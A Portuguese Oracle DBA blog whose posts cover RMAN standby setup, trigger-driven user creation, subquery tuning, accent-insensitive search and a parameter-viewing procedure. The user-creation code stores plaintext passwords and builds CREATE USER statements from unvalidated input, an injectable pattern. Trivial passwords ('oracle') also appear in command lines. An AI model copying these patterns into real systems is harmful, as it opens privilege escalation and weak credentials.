-rw-r-----  1 oracle dba    1536 May 24 00:38 orapwlx10g
-rw-r-----  1 oracle dba    1536 Jun  3 23:11 orapwn1dg
-rw-r-----  1 oracle dba 7061504 Jun  3 23:50 snapcf_n1dg.f
-rw-r-----  1 oracle dba    1536 Feb 15 14:23 spfile+ASM.ora
-rw-r-----  1 oracle dba    3584 Jun  3 23:30 spfilen1dg.ora
[oracle@anakin scripts]$ orapwd file=/oracle/10g/dbs/orapwn2dg password=oracle
[oracle@anakin scripts]$
[oracle@anakin scripts]$ cd /oracle/10g/network/admin
[oracle@anakin admin]$ ll -tr
total 24
-rw-r--r--  1 oracle dba  172 Dec 26  2003 shrept.lst
drwxr-x---  2 oracle dba 4096 Feb 15 14:08 samples
-rw-r--r--  1 oracle dba 1126 May 23 00:29 tnsnames.ora
-rw-r--r--  1 oracle dba 4605 May 23 01:06 sqlnet.log
-rw-r--r--  1 oracle dba  722 May 23 01:10 listener.ora
[oracle@anakin admin]$ vi tnsnames.ora
[oracle@anakin admin]$ cat tnsnames.ora
# tnsnames.ora Network Configuration File: /oracle/10g/network/admin/tnsnames.ora
# Generated by Oracle configuration tools.

LX10G =
(DESCRIPTION =
  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))
  (CONNECT_DATA =
    (SERVER = DEDICATED)
    (SERVICE_NAME = lx10g)
  )
)

LX92 =
(DESCRIPTION =
  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1621))
  (CONNECT_DATA =
    (SERVER = DEDICATED)
    (SERVICE_NAME = lx92)
  )
)

n1 =
(DESCRIPTION =
  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))
  (CONNECT_DATA =
    (SERVER = DEDICATED)
    (SID = n1dg)
  )
)

n2 =
(DESCRIPTION =
  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))
  (CONNECT_DATA =
    (SERVER = DEDICATED)
    (SID = n2dg)
  )
)


EXTPROC_CONNECTION_DATA =
(DESCRIPTION =
  (ADDRESS_LIST =
    (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
  )
  (CONNECT_DATA =
    (SID = PLSExtProc)
    (PRESENTATION = RO)
  )
)
[oracle@anakin admin]$ vi listener.ora
[oracle@anakin admin]$ cat listener.ora
# listener.ora Network Configuration File: /oracle/10g/network/admin/listener.ora
# Generated by Oracle configuration tools.

SID_LIST_LISTENER =
(SID_LIST =
  (SID_DESC =
    (SID_NAME = PLSExtProc)
    (ORACLE_HOME = /oracle/10g)
    (PROGRAM = extproc)
  )
  (SID_DESC =
    (GLOBAL_DBNAME = lx10g)
    (ORACLE_HOME = /oracle/10g)
    (SID_NAME = lx10g)
  )
  (SID_DESC =
    (GLOBAL_DBNAME = n1_DGMGRL)
    (ORACLE_HOME = /oracle/10g)
    (SID_NAME = n1dg)
  )
  (SID_DESC =
    (GLOBAL_DBNAME = n2_DGMGRL)
    (ORACLE_HOME = /oracle/10g)
    (SID_NAME = n2dg)
  )
)

LISTENER =
(DESCRIPTION =
  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))
)

[oracle@anakin admin]$
[oracle@anakin admin]$ cd -
/oracle/admin/n2dg/scripts
[oracle@anakin scripts]$
[oracle@anakin scripts]$ pwd
/oracle/admin/n2dg/scripts
[oracle@anakin scripts]$ ll -tr
total 8
-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh
-rw-r--r--  1 oracle dba 646 Jun  4 00:04 init.ora
[oracle@anakin scripts]$ echo $ORACLE_SID
n1dg
[oracle@anakin scripts]$ export ORACLE_SID=n2dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Mon Jun 4 00:08:31 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup nomount pfile=./init.ora
ORACLE instance started.

Total System Global Area     608174080 bytes
Fixed Size                     1263200 bytes
Variable Size                167774624 bytes
Database Buffers             432013312 bytes
Redo Buffers                   7122944 bytes
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin scripts]$ ps -ef | grep pmon_
oracle   28293     1  0 Jun03 ?        00:00:00 ora_pmon_n1dg
oracle   28515     1  0 00:08 ?        00:00:00 ora_pmon_n2dg
oracle   28544 27728  0 00:08 pts/2    00:00:00 grep pmon_
[oracle@anakin scripts]$ tnsping n1

TNS Ping Utility for Linux: Version 10.2.0.3.0 - Production on 04-JUN-2007 00:09:15

Copyright (c) 1997, 2006, Oracle.  All rights reserved.

Used parameter files:


Used TNSNAMES adapter to resolve the alias
Attempting to contact (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SID = n1dg)))
TNS-12541: TNS:no listener
[oracle@anakin scripts]$ lsnrctl start

LSNRCTL for Linux: Version 10.2.0.3.0 - Production on 04-JUN-2007 00:09:22

Copyright (c) 1991, 2006, Oracle.  All rights reserved.

Starting /oracle/10g/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 10.2.0.3.0 - Production
System parameter file is /oracle/10g/network/admin/listener.ora
Log messages written to /oracle/10g/network/log/listener.log
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 10.2.0.3.0 - Production
Start Date                04-JUN-2007 00:09:22
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /oracle/10g/network/admin/listener.ora
Listener Log File         /oracle/10g/network/log/listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "lx10g" has 1 instance(s).
Instance "lx10g", status UNKNOWN, has 1 handler(s) for this service...
Service "n1_DGMGRL" has 1 instance(s).
Instance "n1dg", status UNKNOWN, has 1 handler(s) for this service...
Service "n2_DGMGRL" has 1 instance(s).
Instance "n2dg", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully
[oracle@anakin scripts]$ tnsping n1

TNS Ping Utility for Linux: Version 10.2.0.3.0 - Production on 04-JUN-2007 00:09:28

Copyright (c) 1997, 2006, Oracle.  All rights reserved.

Used parameter files:


Used TNSNAMES adapter to resolve the alias
Attempting to contact (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SID = n1dg)))
OK (0 msec)

[oracle@anakin scripts]$ rman target sys/oracle@n1 auxiliary /

Recovery Manager: Release 10.2.0.3.0 - Production on Mon Jun 4 00:12:38 2007

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

connected to target database: N1DG (DBID=1215438780)
connected to auxiliary database: N1DG (not mounted)

RMAN> run {
2>     allocate auxiliary channel C1 device type disk;
3>     duplicate target database for standby;
4> }

using target database control file instead of recovery catalog
allocated channel: C1
channel C1: sid=156 devtype=DISK

Starting Duplicate Db at 04-JUN-07

contents of Memory Script:
{
 restore clone standby controlfile;
 sql clone 'alter database mount standby database';
}
executing Memory Script

Starting restore at 04-JUN-07

channel C1: starting datafile backupset restore
channel C1: restoring control file
channel C1: reading from backup piece /backup/n1/df_t624325850_s2_p1
channel C1: restored backup piece 1
piece handle=/backup/n1/df_t624325850_s2_p1 tag=TAG20070603T235025
channel C1: restore complete, elapsed time: 00:00:03
output filename=/oracle/10g/dbs/cntrln2dg.dbf
Finished restore at 04-JUN-07

sql statement: alter database mount standby database

contents of Memory Script:
{
 set newname for tempfile  1 to
"/backup/n2/n2dg/temp01.dbf";
 switch clone tempfile all;
 set newname for datafile  1 to
"/backup/n2/n2dg/system01.dbf";
 set newname for datafile  2 to
"/backup/n2/n2dg/undotbs01.dbf";
 set newname for datafile  3 to
"/backup/n2/n2dg/sysaux01.dbf";
 set newname for datafile  4 to
"/backup/n2/n2dg/users01.dbf";
 restore
 check readonly
 clone database
 ;
}
executing Memory Script

executing command: SET NEWNAME

renamed temporary file 1 to /backup/n2/n2dg/temp01.dbf in control file

executing command: SET NEWNAME

executing command: SET NEWNAME

executing command: SET NEWNAME

executing command: SET NEWNAME

Starting restore at 04-JUN-07

channel C1: starting datafile backupset restore
channel C1: specifying datafile(s) to restore from backup set
restoring datafile 00001 to /backup/n2/n2dg/system01.dbf
restoring datafile 00002 to /backup/n2/n2dg/undotbs01.dbf
restoring datafile 00003 to /backup/n2/n2dg/sysaux01.dbf
restoring datafile 00004 to /backup/n2/n2dg/users01.dbf
channel C1: reading from backup piece /backup/n1/df_t624325825_s1_p1
channel C1: restored backup piece 1
piece handle=/backup/n1/df_t624325825_s1_p1 tag=TAG20070603T235025
channel C1: restore complete, elapsed time: 00:00:35
Finished restore at 04-JUN-07

contents of Memory Script:
{
 switch clone datafile all;
}
executing Memory Script

datafile 1 switched to datafile copy
input datafile copy recid=5 stamp=624327223 filename=/backup/n2/n2dg/system01.dbf
datafile 2 switched to datafile copy
input datafile copy recid=6 stamp=624327223 filename=/backup/n2/n2dg/undotbs01.dbf
datafile 3 switched to datafile copy
input datafile copy recid=7 stamp=624327223 filename=/backup/n2/n2dg/sysaux01.dbf
datafile 4 switched to datafile copy
input datafile copy recid=8 stamp=624327223 filename=/backup/n2/n2dg/users01.dbf
Finished Duplicate Db at 04-JUN-07
released channel: C1

RMAN> exit


Recovery Manager complete.
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Mon Jun 4 00:13:59 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

idle> select NAME, OPEN_MODE, PROTECTION_MODE, database_role from v$database;

NAME      OPEN_MODE  PROTECTION_MODE      DATABASE_ROLE
--------- ---------- -------------------- ----------------
N1DG      MOUNTED    MAXIMUM PERFORMANCE  PHYSICAL STANDBY

1 row selected.

idle>

Standby database configurado! Vamos recapitular o que fizemos até aqui: um backup da instância primária com o rman, criamos uma estrutura de diretórios nova para a instância auxiliar (physical standby) e copiamos o init.ora com algumas alterações para que pudesse subir como standby, criamos um arquivo de senha e configuramos a rede (listener e tnsnames) além de subir o listener. Com a comunicação estabelecida, pudemos conectar ao target, que é nó primário, e no auxiliar instância que está apenas iniciada em NOMOUNT; então, pedimos para restaurar o backup do primário, porém ao invés de clonar, pedimos para ao RMAN que criasse o standby e como visto acimo no select, está perfeitamente configurado e esperando para receber os archives.

No próximo post, faremos a aplicação dos logs realtime e a configuração do Broker.

Criacao de Usuario Customizado (Duvida)

2007-05-15T22:14:00.000-03:00

pessoal eu estou no oracle 10g e queria saber se existe a possibilidade de fazer o seguinte. Tenho uma tabela de usuário onde tem login e senha.. e gostaria de como ficaria a trigger após o insert para fazer um create user xxx identify by xxxx .... e dar o grant de create session to xxxx para o usuário do oracle...

E o exemplo completo.


ops$marcio:LX10G> connect / as sysdba
Connected.
sys:LX10G>
sys:LX10G> grant create user to ops$marcio;

Grant succeeded.

sys:LX10G> grant create session to ops$marcio with admin option;

Grant succeeded.

sys:LX10G>
sys:LX10G>
sys:LX10G> connect /
Connected.
ops$marcio:LX10G>
ops$marcio:LX10G> create table usuarios ( username varchar2(30), senha varchar2(30));

Table created.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace
  2  procedure create_user (
  3     p_username in usuarios.username%type,
  4     p_senha    in usuarios.senha%type
  5  ) is
  6     l_create    long := 'create user '|| p_username ||' identified by '|| p_senha;
  7     l_grant     long := 'grant create session to '|| p_username;
  8  begin
  9     execute immediate( l_create );
 10     execute immediate( l_grant );
 11  end;
 12  /

Procedure created.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace procedure run_create (
  2     p_username in usuarios.username%type,
  3     p_senha    in usuarios.senha%type
  4  ) is
  5     pragma autonomous_transaction;
  6     l_job       number;
  7  begin
  8     dbms_job.submit( l_job, 'create_user( '''|| p_username ||''','''|| p_senha ||''');');
  9     commit;
 10  end;
 11  /

Procedure created.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace trigger tgr_aifer_usuarios
  2     after insert on usuarios
  3     for each row
  4  begin
  5     run_create( :new.username, :new.senha );
  6  end;
  7   /

Trigger created.

ops$marcio:LX10G>
ops$marcio:LX10G> show user
USER is "OPS$MARCIO"
ops$marcio:LX10G>
ops$marcio:LX10G> insert into usuarios values ('novo_usuario', 'senha01');

1 row created.

ops$marcio:LX10G>
ops$marcio:LX10G> exec dbms_lock.sleep(5)

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
ops$marcio:LX10G> select * from usuarios;

USERNAME             SENHA
-------------------- ------------------------------
novo_usuario         senha01

1 row selected.

ops$marcio:LX10G>
ops$marcio:LX10G> select username, password
  2    from dba_users
  3   where username = 'NOVO_USUARIO'
  4  /

USERNAME             PASSWORD
-------------------- ------------------------------
NOVO_USUARIO         25249E3F24F1A585

1 row selected.

ops$marcio:LX10G>
ops$marcio:LX10G> connect novo_usuario/senha01
Connected.
novo_usuario:LX10G>

Subquery 10g.

2007-05-13T15:12:00.000-03:00

Há algum tempo, respondi uma dúvida sobre subquery que achei interessante reproduzir na integra. A dúvida a seguinte:

Eu gostaria de entender quais são as vantagens e desvantagens de usar uma subquery na cláusula select. Quando usar e quando não usar.

Interessante a pergunta. É bom quando temos que trabalhar um pouco para responder, assim aprendemos mais. Nesse caso, deu para perceber bem como o otimizador do Oracle está mais "inteligente" a cada nova versão. Explicando melhor, para essa dúvida, era simples a resposta (até a versão 10g) porque uma tabela enorme e outra menor quando juntadas (JOIN) em uma query principal, mesmo com índices (e a maioria dos ambientes não se atenta ao fato de que os parâmetros OPTIMIZER_INDEX_* vêm com um default não apropriado) o otimizador, faria o HASH JOIN, varrendo as duas tabelas. Isso apenas para iniciar a investigação, quando executei o exemplo abaixo no 10g, tive que ajustar a quantidade de linhas, setar o OPTIMIZER_MODE=ALL_ROWS e coletar as estatísticas com o CASCADE => false. É claro que isso varia de ambiente para ambiente, caso voce faça o teste, ele pode não representar o que foi o meu, mas serve de ínicio para investigação.

O setup do teste é o seguinte, uma tabela (t1) com muitos registros ~ (1 milhão no 10g e 700 mil no 9i) contendo object_id, object_name, created e status - bastante simples. A outra parte (t2), uma bem menor, com 3000 registros contendo object_id e created e essa tabela foi construída das 3000 primeiras linhas da primeira (t1). O propósito é o join entre ambas para recuperar o object_name na t2, então há duas queries, uma com join normal (onde eu esperava o HASH JOIN) e outra com subquery na clausula select onde eu esperava o NESTED LOOPING. Mas para minha surpresa, o 10g está muito melhor, basta ele deduzir (dynamic sampling) e a escolha é bem eficiente. Eis o setup


drop table t1;
drop table t2;

create table t1 as
select object_id, object_name, created, status
  from dba_objects
/

col mx new_value mx

select max(object_id) mx from t1;

insert into t1
select &mx+rownum, object_name, created, status
  from t1, (select null from dual connect by level <=20) 
/

select count(*) from t1;
create index objidx on t1 ( object_id );
create table t2 as select object_id, created 
  from dba_objects  where rownum <= 3000
/

begin       
  dbms_stats.gather_table_stats( user, 'T1', cascade => false );
  dbms_stats.gather_table_stats( user, 'T2' );
end;
/

set autotrace traceonly
select t2.object_id, t2.created, t1.object_name
  from t1, t2
 where t1.object_id = t2.object_id
/

select t2.object_id, t2.created,
       ( select object_name
           from t1
          where t1.object_id = t2.object_id
       ) object_name
  from t2
/
set autotrace off

Respondendo a dúvida: A desvantagem de se usar uma subquery é a "tentativa" de reorganizar a busca de forma que o Oracle faça menos esforço para trazer seu resultset. Por que eu disse "desvantagem"? Porque a vantagem mesmo é que, nas versões mais recentes, não é mais necessário lutar com isso, o código fica mais simples e limpo, basta o join e o otimizador decide o caminho.

Quando usar?
Eu diria que, com a versão 10g, raramente, já na 9i e em um ambiente default, sem customização, talvez há certa economia de esforço, portanto, escalabilidade no código. Mas é preciso entender o conceito e uma boa leitura de plano de execução.

Vamos ao resultado do teste.


9i (9.2.0.8)
============
ops$marcio:LX92> select t2.object_id, t2.created, t1.object_name
  2    from t1, t2
  3   where t1.object_id = t2.object_id
  4  /

3000 rows selected.


Execution Plan
----------------------------------------------------------
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=729 Card=3000 Bytes=123000)
   1    0   HASH JOIN (Cost=729 Card=3000 Bytes=123000)
   2    1     TABLE ACCESS (FULL) OF 'T2' (Cost=2 Card=3000 Bytes=36000)
   3    1     TABLE ACCESS (FULL) OF 'T1' (Cost=419 Card=655473 Bytes=19008717)

ops$marcio:LX92> select t2.object_id, t2.created,
  2         ( select object_name
  3             from t1
  4            where t1.object_id = t2.object_id
  5         ) object_name
  6    from t2
  7  /

3000 rows selected.


Execution Plan
----------------------------------------------------------
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=2 Card=3000 Bytes=36000)
   1    0   TABLE ACCESS (BY INDEX ROWID) OF 'T1' (Cost=2 Card=1 Bytes=29)
   2    1     INDEX (RANGE SCAN) OF 'OBJIDX' (NON-UNIQUE) (Cost=1 Card=1)
   3    0   TABLE ACCESS (FULL) OF 'T2' (Cost=2 Card=3000 Bytes=36000)

Note o acesso pelo índice, ou seja, olhe sua seletividade, aqui são 3000/655473, para mim compensou.
E também pode ser notado no tkprof.


select t2.object_id, t2.created, t1.object_name
  from t1, t2
 where t1.object_id = t2.object_id

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch       31      0.30       0.30       1185       4385          0        3000
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total       33      0.30       0.30       1185       4385          0        3000

Misses in library cache during parse: 1
Optimizer goal: CHOOSE
Parsing user id: 61

Rows     Row Source Operation
-------  ---------------------------------------------------
   3000  HASH JOIN
   3000   TABLE ACCESS FULL T2
 655473   TABLE ACCESS FULL T1

Ele teve que ler 655 mil linhas juntamente com as 3000 para depois o HASH. Muito esforço.
Já com a subquery.


select t2.object_id, t2.created,
       ( select object_name
           from t1
          where t1.object_id = t2.object_id
       ) object_name
  from t2

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch       31      0.05       0.06         44       9075          0        3000
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total       33      0.05       0.06         44       9075          0        3000

Misses in library cache during parse: 1
Optimizer goal: CHOOSE
Parsing user id: 61

Rows     Row Source Operation
-------  ---------------------------------------------------
   3000  TABLE ACCESS BY INDEX ROWID T1
   3000   INDEX RANGE SCAN OBJIDX (object id 33158)
   3000  TABLE ACCESS FULL T2

Através do índice, ele evitou praticamente 652 mil linhas (grosso modo falando), mas o esforço foi bem menor. E para abreviar a resposta, que acho enorme, vou colocar os 2 tkprofs do 10g, basicamente é a mesma situação a GRANDE diferença é que eu tive que ralar para sair esse resultado ( até cascade => false) eu usei - e a quantidade de registros da t1 também teve que ser de 1 milhão e pouco.


select t2.object_id, t2.created, t1.object_name
  from t1, t2
 where t1.object_id = t2.object_id

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch       31      0.59       0.59          0       7539          0        3000
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total       33      0.59       0.59          0       7539          0        3000

Misses in library cache during parse: 1
Optimizer mode: ALL_ROWS
Parsing user id: 55

Rows     Row Source Operation
-------  ---------------------------------------------------
   3000  HASH JOIN  (cr=7539 pr=0 pw=0 time=94445 us)
   3000   TABLE ACCESS FULL T2 (cr=11 pr=0 pw=0 time=21060 us)
1123458   TABLE ACCESS FULL T1 (cr=7528 pr=0 pw=0 time=6740811 us)

===

select t2.object_id, t2.created,
       ( select object_name
           from t1
          where t1.object_id = t2.object_id
       ) object_name
  from t2

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch       31      0.23       0.23          0       9078          0        3000
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total       33      0.23       0.23          0       9078          0        3000

Misses in library cache during parse: 1
Optimizer mode: ALL_ROWS
Parsing user id: 55

Rows     Row Source Operation
-------  ---------------------------------------------------
   3000  TABLE ACCESS BY INDEX ROWID T1 (cr=9037 pr=0 pw=0 time=186784 us)
   3000   INDEX RANGE SCAN OBJIDX (cr=6037 pr=0 pw=0 time=83942 us)(object id 63397)
   3000  TABLE ACCESS FULL T2 (cr=41 pr=0 pw=0 time=21058 us)

Não é uma materia fácil de entendimento a priori, mas se ainda ficou dúvida, coloque comentário e, na medida do possível, esclareço.

Query Ignorando Acentos

2007-04-27T22:59:00.000-03:00

Olá Marcio, tudo bem contigo?
Eu estava lendo o seu blog e li o assunto sobre acentuação, fiz os testes igual ao seu e funcionou beleza.
O que esta acontecendo comigo, instalei o Oracle 10g XE e importei uma tabela de endereços que já vieram com acentos.
Bom quando faço uma pesquisa EX:
SELECT * FROM CEP_ENDERECO
WHERE LOWER(DSC_LOGRADOURO) LIKE LOWER('%ALÍPIO%') -> Retorna True

Mas não consigo retornar um registo que esta como ALIPIO, ou seja tenho que fazer uma pesquisa com acento e outra sem.

Para responder essa dúvida, é necessário explicar um conceito antes: 'Á' é diferente de 'A', ou seja, a letra "A" com acento agudo é diferente da letra "A" sem acento, então, quando em uma query há uma condição (WHERE) buscando por "A", o Oracle vai comparar números por trás da cena, ele compara os códigos ASCII.

Para conseguir alcançar o objetivo de trazer os nomes ignorando acentos, é preciso uma tradução customizada das letras que possuem acento para suas respectivas, ou seja, transformar a "letra com acento" em "letra sem acento". Em minha proposta para a solução, vou trabalhar com o código ASCII das letras ao invés da figura, isso serve para fixar o conceito da diferença entre as letras acentuadas e "normais".

A visualização do código ASCII é facilmente obtida através da função DUMP. Com ela, poderemos ver a diferença dos códigos entre as letras acentuadas e não-acentuadas. Dessa forma, o Oracle utiliza a comparação dos códigos e chega a conclusão que "Atílio" <> "Atilio".

Para exemplificar, criei uma tabela "t" com um campo "x" varchar2(20) e inseri 4 linhas. Veja a comparação da coluna com o dump ao lado.


ops$marcio:LX10G> col y format a40
ops$marcio:LX10G> select x, dump(x) y from t;

X                    Y
-------------------- ----------------------------------------
ALIPIO               Typ=1 Len=6: 65,76,73,80,73,79
ALÍPIO               Typ=1 Len=6: 65,76,205,80,73,79
MÁRCIO               Typ=1 Len=6: 77,193,82,67,73,79
MARCIO               Typ=1 Len=6: 77,65,82,67,73,79

4 rows selected.

Como podemos observar a partir do resultado acima,


A=65 e Á=193
I=73 e Í=205

Resta agora, "igualar" as letras através de tradução (translate).


ops$marcio:LX10G> select x, translate(x,chr(193)||chr(205), 'AI') y from t;

X                    Y
-------------------- ----------------------------------------
ALIPIO               ALIPIO
ALÍPIO               ALIPIO
MÁRCIO               MARCIO
MARCIO               MARCIO

4 rows selected.

Note que mantive o translate apenas das letras acentuadas no exemplo acima para simplificar, porém, para uma solução ampla e definitiva, é preciso de-para de todas as letras desejadas.

Agora podemos facilmente comparar o registro traduzido a um argumento, como o apresentado pelo autor da dúvida.


ops$marcio:LX10G> select x from t where translate(x,chr(205)||chr(193),'IA') like '%ALIPIO%';

X
--------------------
ALIPIO
ALÍPIO

2 rows selected.

ops$marcio:LX10G> select x from t where translate(x,chr(205)||chr(193),'IA') like '%MARCIO%';

X
--------------------
MÁRCIO
MARCIO

2 rows selected.

Analisando um pouco mais a solução, "de cara" salta aos olhos um problema sério de performance. Eu uso uma função em um campo e, portanto, inviabiliza o uso de índice, mas isso já é parte de outro artigo. Não deixe de pesquisar índice baseado em função para dimunir o tempo de busca deste tipo de query. Outro ponto também é o "cacheamento" de função que começou na versão 9i e está muito melhor na versão 10g, o Oracle "cachea" a função e depois resolve a query, isso evita muitas vezes um exagerado número de switch de contexto.

Treinamento - Practical Learning Oracle

2007-04-23T08:34:00.000-03:00

Nos últimos dias, recebi vários e-mails com dúvidas sobre o Treinamento que ministro. Gostaria de elucidar um pouco mais como trabalho nesse curso.

O Treinamento é exclusivo para empresas. Por que? Quando digo exclusivo, é porque escrevo o curso para a empresa, ou seja, não existe um curso igual a outro. Juntamente com a empresa, é discutido o "Estudo de Caso" e a partir do escopo fechado, levo uma semana escrevendo os slides, exemplos e conceitos que vou apresentar ao longo do treinamento. Todo esse material fica na empresa.
O "Estudo de Caso" do treinamento pode e deve ser real, portanto, a empresa terá uma discussão de um problema real. Todos os envolvidos no treinamento apreenderão com maior facilidade o que for apresentado, porque estarão atuando com a matéria diretamente no dia-a-dia. O Treinamento terá flexibilidade na agenda para desvios dentro do programa.
Para este modelo de treinamento, o número ideal para participantes é de 8 pessoas no mínimo e 20 no máximo. Existem outras modalidades, onde a discussão é mais ampla e genérica, comportando maior número de pessoas - modalidade Palestra.
Este curso vem com plantão de dúvida, um período onde os alunos podem acessar diretamente o instrutor com alguma dúvida extra, pertinente ao treinamento após o término do curso, que deverá ser respondida em até 48 horas do recebimento. A dúvida deve ser enviada ao instrutor somente através de e-mail e se houver entendimento por parte do instrutor, ele entra em contato on-line (Telefone ou chat). Nesses casos, no ato do contrato é definido o período do plantão de dúvidas.

Penso que esses pontos são os principais diferencias que apresento em meu Treinamento, para saber mais sobre o curso acesse aqui.

Mostrar Parametros

2007-04-13T11:23:00.000-03:00

Sexta-feira, 13. Vou escrever amenidades, sem pensar muito, então revirei algumas coisas aqui e achei uma procedurizinha, que a época, serviu bem aos propósitos. Seguinte: os analistas que desenvolvem muitas vezes não tem acesso ao "show parameter <...>" e solicitam acesso a v$parameter, então, eu codifiquei um quebra-galho para mostrar os parâmetros mesmo não possuindo acesso a v$parameter.

O código é antigo, feio, todo mundo começa fazendo código feio mesmo, não vou mexer para postar aqui, então sintam-se a vontade para mudar na medida em que necessitem. Acho que esse código eu usei com o 8.1.6, algo assim - é antigão mesmo, mas para uma sexta-feira 13, está de bom tamanho.

O código


create or replace
procedure show_parameter ( p_name in varchar2,
   p_debug in boolean default false)
as
    l_intval number(7);
    l_strval varchar2(512) default 'Not found';
    l_return number(7);
    l_outval varchar2(512);
    l_outtyp varchar2(30);
    l_name   varchar2(32)  default '%' || p_name || '%';

begin
    dbms_output.put_line(chr(10));
    dbms_output.put_line(rpad('Name', 36, ' ') ||' '||
      rpad('Type', 10, ' ') || ' ' || rpad('Value', 36, ' '));
    dbms_output.put_line(rpad('-', 36, '-') ||' '||
      rpad('-',10,'-') || ' '|| rpad('-', 30, '-'));

    for x in (select name, type from my$parameter where name like l_name order by 1 )
    loop
       if ( p_debug ) then
          dbms_output.put_line(chr(10)||'Before DBMS_UTILITY (' || x.name ||', '|| x.type ||')');
       end if;

       l_return := dbms_utility.get_parameter_value(trim(x.name), l_intval, l_strval);

       if ( p_debug ) then
          dbms_output.put('After DBMS_UTILITY: ');
          dbms_output.put_line(l_return || ', ' || l_intval ||', '|| l_strval);
       end if;

       select decode(x.type, 1, 'boolean'
                           , 2, 'string'
                           , 3, 'integer'
                           , 4, 'file', to_char(x.type)),
              decode(x.type, 1, decode(l_intval,1,'TRUE','FALSE')
                           , 2, l_strval
                           , 3, to_char(l_intval), l_strval)
         into l_outtyp, l_outval
         from dual;

       if ( p_debug ) then
          dbms_output.put_line('Did decode ');
       end if;

       dbms_output.put_line(rpad(x.name,36,' ') ||' '|| rpad(l_outtyp, 10, ' ') || ' ' ||
                l_outval );

       if ( p_debug ) then
          dbms_output.put_line(rpad('-', 78, '-'));
       end if;

    end loop;
end;
/

E os procedimentos para instalação
Instruções
- O usuário dono da procedure deve ter direito de acesso (direto) a v$parameter.
- Criar uma view da v$parameter.
- Criar a procedure e dar privilégio de execução para PUBLIC.
- Criar um sinônimo público da procedure.
- Testar.


ops$marcio:LX10G> connect / as sysdba
Connected.
sys:LX10G> grant select on v_$parameter to ops$marcio;

Grant succeeded.

sys:LX10G> connect /
Connected.
ops$marcio:LX10G> create view my$parameter as select * from sys.v_$parameter;

View created.

ops$marcio:LX10G> alter procedure show_parameter compile;

Procedure altered.

ops$marcio:LX10G> create or replace public synonym show_parameter for show_parameter;

Synonym created.

ops$marcio:LX10G> connect scott/tiger
Connected.
scott:LX10G> show parameter dump
ORA-00942: table or view does not exist


scott:LX10G> exec show_parameter( 'dump' )


Name                                 Type       Value
------------------------------------ ---------- ------------------------------
background_core_dump                 string     partial
background_dump_dest                 string     /oracle/admin/lx10g/bdump
core_dump_dest                       string     /oracle/admin/lx10g/cdump
max_dump_file_size                   string     UNLIMITED
shadow_core_dump                     string     partial
user_dump_dest                       string     /oracle/admin/lx10g/udump

PL/SQL procedure successfully completed.

Tem até debug.


scott:LX10G> exec show_parameter( 'dump', true )


Name                                 Type       Value
------------------------------------ ---------- ------------------------------

Before DBMS_UTILITY (background_core_dump, 2)
After DBMS_UTILITY: 1, 7, partial
Did decode
background_core_dump                 string     partial
------------------------------------------------------------------------------

Before DBMS_UTILITY (background_dump_dest, 2)
After DBMS_UTILITY: 1, 25, /oracle/admin/lx10g/bdump
Did decode
